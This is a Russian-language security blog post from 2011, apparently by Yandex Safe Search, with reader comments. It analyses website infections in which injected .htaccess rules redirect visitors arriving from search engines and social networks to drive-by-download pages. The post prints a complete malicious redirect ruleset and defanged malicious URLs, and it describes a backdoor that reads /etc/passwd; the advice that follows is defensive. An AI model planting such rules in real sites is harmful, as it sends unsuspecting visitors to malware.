Блог о безопасности

Старые способы заражения, которые продолжают работать

18 ноября 2011, 20:07


Дано

 

  • Веб-сайт заражён.
  • Когда пользователи заходят на сайт – он перенаправляет их на страницу, которая выполняет drive-by-download атаку.
  • Перенаправляет почти всегда, и каждый день на разные страницы.
  • Когда вебмастер заходит на свой сайт, тот его никуда не перенаправляет.
  • Сайт полностью статический: ни клиентских, ни серверных скриптов, ни каких-то других активных элементов на нём нет.

Как же происходит заражение, и что делать, чтобы его устранить и больше не допустить?


Решение

Как вы, наверное, уже догадались, речь идёт о заражении сайта с помощью вредоносного редиректа, настроенного с помощью файла  .htaccess :
  • Он перенаправляет пользователей, потому что они в основном переходят на заражённый сайт по ссылкам из поисковых систем и социальных сетей.
  • Он не перенаправляет вебмастера, потому что тот вводит домен своего сайта в адресную строку браузера.
  • Цель редиректа изменяется, потому что файл .htaccess регулярно переписывает вредоносный серверный скрипт, который находится в директории другого сайта.

.htaccess – далеко не единственный конфигурационный файл, с помощью которого можно сделать сайт частью системы распространения вредоносного кода. Это можно сделать и с помощью других файлов с настройками веб-серверов и интерпретаторов серверных скриптов. В них часто применяются специальные, довольно сложные языки настройки. Ошибка при изменении такого файла может привести к выходу из строя всего веб-сервера, а у вебмастеров не всегда есть права на их чтение и изменение.

В последнее время техника распространения вредоносного ПО с помощью настроенного в .htaccess редиректа на вредоносный сайт снова популярна у злоумышленников.

Чаще всего редирект на страницу, которая производит drive-by-download атаку, происходит только в том случае, когда на заражённый сайт перешли с крупной поисковой системы или социальной сети.

С 31.10.2011 по 03.11.2011 Безопасный Поиск выявил настроенные в .htaccess редиректы на следующие страницы с вредоносным кодом:

h**p://billing-white.ru/cname/index.php?no=324&ida=4973
h**p://ristoncharge.in/meeting/index.php
h**p://telebillactivation.ru/distantion/index.php
h**p://billing-white.ru/cname/index.php
h**p://paybucks.ru/payform/index.php
h**p://payment-glonas.in/position/index.php
h**p://assistantbilling.in/proccess/index.php
h**p://assistant-first.ru/payment/index.php

Чтобы перенаправлять пользователей заражённого сайта, в файл .htaccess добавляются дополнительные правила, например:

ErrorDocument 400 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 401 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 403 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 404 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 500 h**p://ristoncharge.in/meeting/index.php

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*ask\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*yahoo\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*baidu\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*youtube\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*qq\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*excite\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*altavista\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*msn\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*netscape\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*aol\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*hotbot\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*goto\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*infoseek\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*mamma\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*lycos\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*search\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*bing\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*dogpile\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*facebook\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*twitter\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*blog\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*live\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*myspace\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*mail\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*yandex\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*rambler\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*ya\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*aport\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*linkedin\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*flickr\.(.*)
RewriteRule ^(.*)$ h**p://ristoncharge.in/meeting/index.php

Видно, что редирект происходит, если:

  1. При работе с сервером возникли ошибки (сервер получил HTTP-заголовок, который не может обработать; возникла ошибка авторизации; пользователю запрещён доступ к определенным директориям или файлам; произошло обращение к несуществующей странице; произошла внутренняя ошибка сервера). В этом случае заражённый веб-сервер выдаёт пользователю не стандартный ответ, отражающий суть ошибки, а редирект на  h**p://ristoncharge.in/meeting/index.php.

  2. Если на сервере установлен модуль Apache mod_rewrite и пользователь перешёл на заражённый сайт с доменов известных поисковых машин и социальных сетей, название которых содержит: google., ask., yahoo., baidu., youtube., wikipedia., qq., excite., altavista., msn., netscape., aol., hotbot., goto., infoseek., mamma., alltheweb., lycos., search., metacrawler., bing., dogpile., facebook., twitter., blog., live., myspace., mail., yandex., rambler., ya., aport., linkedin., flickr.

Изменения в .htaccess тут же применяются ко всему контенту в директории, в которой он находится, а также в её поддиректориях, и могут одновременно сделать вредоносными все сайты, размещённые на веб-сервере.

Чтобы затруднить обнаружение вредоносного кода веб-мастером, в начало файла .htaccess записывается большое количество пустых строк и символов табуляции:



Чтобы поместить на веб-сервер скрипт-бэкдор и с его помощью записать в .htaccess приведённые выше вредоносные правила, злоумышленники используют уязвимости CMS. В проанализированном примере заражения использовались скрипты с именем вида tmp_2791826179573679.php (где 2791826179573679 — случайный набор цифр), содержащие обфусцированный вредоносный код вида:



Этот скрипт позволяет злоумышленникам не только изменять .htaccess, но и выполнять другие вредоносные действия.

В частности, в среднем раз в сутки он получает с IP-адресов пользователей донецкого провайдера didan.org (например, 31.41.15.4, 31.41.8.59, 31.41.10.183, 31.41.10.157) команды на:
    • изменение файлов .htaccess;
    • доступ к файлам /etc/httpd/conf/httpd.conf и /etc/passwd;
    • поиск и выборочное внедрение в php-файлы бэкдоров и редиректоров, причём таких, чтобы заражённые партнёрские сети, на вредоносные страницы которых производится редирект, могли идентифицировать злоумышленника и выплатить ему гонорар.

Ни один из антивирусов, используемых на VirusTotal.com , на 11.11.2011 не детектировал в таком php-скрипте вредоносный код.

Более того, наличие браузерного вредоносного кода из Blackhole Exploit Pack на вредоносных страницах, на которые происходит редирект, на 11.11.2011 детектировали только 3 антивируса из 43.
 
Ответ

Рекомендации по обнаружению и удалению:
  1. На файлы, находящиеся на веб-сервере, нужно устанавливать такие полномочия, чтобы серверные скрипты не могли изменять их без необходимости.
  2. Следует обращать внимание на php-скрипты со странными именами, а также на скрипты, размещенные в неподходящих местах – например, в каталоге с картинками.
  3. Нужно регулярно проверять содержимое страниц сайта на наличие вредоносного кода при переходе с поисковых выдач.
  4. Увидев пустой файл .htaccess, следует удостовериться, что его размер – 0 байт.
  5. В целом, рекомендации для вебмастеров аналогичны тем, которые приведены здесь.

 



Команда Безопасного Поиска Яндекса

7 комментариев
Подписаться на комментарии к посту

Спасибо, ценная информация

На файлы, находящиеся на веб-сервере, нужно устанавливать такие полномочия, чтобы серверные скрипты не могли изменять их без необходимости.


Это неправильное правило. Правильное такое:
за установку +w полномочий на файлы и дирки надо вебмастера продавать в рабство на остров Борнео.

Следует обращать внимание на php-скрипты со странными именами, а также на скрипты, размещенные в неподходящих местах – например, в каталоге с картинками.

увидев скрипт в каталоге с картинками надо удостовериться, что на каталоге с картинками не стоит +w. Если стоит, то надо убрать, и удостовериться, что вебмастер уже продан в рабство и, желательно, съеден.

6. По возможности  все файлы, подключаемые include должны быть вынесены за пределы DocumentRoot. Если это не так, вебмастер должен быть отстранён от работы на 3 суток, которые должен провести за переписыванием данного правила с перерывом на сон и еду.

Спасибо большое! очень помогли ваши советы

обфусцированный вредоносный код вида...

То, что на картинке – обфусцированный код веб-шелла WSO (Web-Shell by Orb). Легко опознать, я его в разных вариантах не раз находил при очистке взломанных сайтов. Ничего вредоносного в нем нет – сам по себе он ничего несанкционированного не делает, как и любой файлменеджер или phpMyAdmin. Хорошо продуманный инструмент. Вопрос лишь в том, как его используют.

 

Спасибо большое, теперь все ясно. Один из, уже моих сайтов, подвергся атаке прошлого вебмастера, наверное обиделся. Так вот проблему заметил при переносе домена, так как яндекс проиндексирвоал сайт и повесил ярлык на сайт, мол вредоносный код и т.д. Самое главное, что антивирус хостинга ничего не выявил. Перешарил все файлы, притом интересно яндекс-вебматсер указывал на один из внутренних html файлов, якобы вредоносный код там. Но вредоносный код оказался в файле .htaccess   такой же как представлен на скринах. Все Убрал. Сейчас наверное основной проблемой является ярлык запрета яндекса. Жду скорейшей индексации, сайт www.ariostos.ru

Сегодня разбирали одну из модификаций такого вируса, клиенту потребовалась помощь после двух недель предупреждения в результатах поска. Время прошло не мало, все бекапы оказались инфицированными.
Хотел бы поделиться информацией что новые модификации уже делаются не через .htaccess а подстраиваются в php код движка в частности в нашем случае это оказался дважды замаскированный код что был обернутый в base64_decode и поверх крипт. Если Яндекс говорит что проблема есть, а по инструкции Вам кажется что вируса нет, то это далеко не значит что сайт чист, будут проблемы - оформляйте заявку - http://virus.w2b.kz/ , наши специалисты проведут бесплатный поверхностный анализ сайта и смогут Вам помочь в какую сторону двигаться для решения проблемы.

Здравствуйте. Информация ценная для того, кто её понимает. Для меня это темный лес. А как Вы представляете себе, я должна отдавать сайт на чистку неизвестным людям, которые сами мне могут не пойми чего натолкать? Мне кажется, что инструкции по таким вопросам должны быть предельно четкими и разжеванными, чтобюы новичик могли справиться.